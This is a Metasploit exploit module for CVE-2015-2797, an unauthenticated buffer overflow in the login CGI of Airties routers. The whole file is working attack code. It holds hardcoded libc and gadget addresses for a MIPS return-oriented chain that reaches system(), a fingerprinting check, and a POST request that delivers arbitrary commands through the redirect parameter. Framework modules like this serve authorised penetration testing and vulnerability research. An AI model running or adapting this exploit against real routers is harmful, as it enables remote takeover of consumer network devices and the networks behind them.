##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Airties login-cgi Buffer Overflow',
        'Description' => %q{
          This module exploits a remote buffer overflow vulnerability on several Airties routers.
          The vulnerability exists in the handling of HTTP queries to the login cgi with long
          redirect parameters. The vulnerability doesn't require authentication. This module has
          been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
          Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
          Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
        },
        'Author' => [
          'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['linux'],
        'Arch' => ARCH_MIPSBE,
        'References' => [
          ['CVE', '2015-2797'],
          ['EDB', '36577'],
          ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] # PoC
        ],
        'Targets' => [
          [
            'AirTies_Air5650v3TT_FW_1.0.2.0',
            {
              'Offset' => 359,
              'LibcBase' => 0x2aad1000,
              'RestoreReg' => 0x0003FE20, # restore s-registers
              'System' => 0x0003edff, # address of system-1
              'CalcSystem' => 0x000111EC, # calculate the correct address of system
              'CallSystem' => 0x00041C10, # call our system
              'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
            }
          ]
        ],
        'DisclosureDate' => '2015-03-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/cgi-bin/login',
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end

  def exploit
    print_status("Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")
    execute_cmdstager(
      :flavor => :echo,
      :linemax => 100
    )
  end

  def prepare_shellcode(cmd)
    shellcode = rand_text_alpha_upper(target['Offset'])                    # padding
    shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N")     # restore registers with controlled values

    # 0003FE20                 lw      $ra, 0x48+var_4($sp)
    # 0003FE24                 lw      $s7, 0x48+var_8($sp)
    # 0003FE28                 lw      $s6, 0x48+var_C($sp)
    # 0003FE2C                 lw      $s5, 0x48+var_10($sp)
    # 0003FE30                 lw      $s4, 0x48+var_14($sp)
    # 0003FE34                 lw      $s3, 0x48+var_18($sp)
    # 0003FE38                 lw      $s2, 0x48+var_1C($sp)
    # 0003FE3C                 lw      $s1, 0x48+var_20($sp)
    # 0003FE40                 lw      $s0, 0x48+var_24($sp)
    # 0003FE44                 jr      $ra
    # 0003FE48                 addiu   $sp, 0x48

    shellcode << rand_text_alpha_upper(36)                                 # padding
    shellcode << [target['LibcBase'] + target['System']].pack('N')         # s0 - system address-1
    shellcode << rand_text_alpha_upper(16)                                 # unused registers $s1 - $s4
    shellcode << [target['LibcBase'] + target['CallSystem']].pack('N')     # $s5 - call system

    # 00041C10                 move    $t9, $s0
    # 00041C14                 jalr    $t9
    # 00041C18                 nop

    shellcode << rand_text_alpha_upper(8)                                  # unused registers $s6 - $s7
    shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N')  # write sp to $a0 -> parameter for call to system

    # 000215B8                 addiu   $a0, $sp, 0x20
    # 000215BC                 lw      $ra, 0x1C($sp)
    # 000215C0                 jr      $ra
    # 000215C4                 addiu   $sp, 0x20

    shellcode << rand_text_alpha_upper(28)                                 # padding
    shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N')     # add 1 to s0 (calculate system address)

    # 000111EC                 move    $t9, $s5
    # 000111F0                 jalr    $t9
    # 000111F4                 addiu   $s0, 1

    shellcode << cmd
  end

  def execute_command(cmd, opts)
    shellcode = prepare_shellcode(cmd)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => '/cgi-bin/login',
        'encode_params' => false,
        'vars_post' => {
          'redirect' => shellcode,
          'user' => rand_text_alpha(5),
          'password' => rand_text_alpha(8)
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
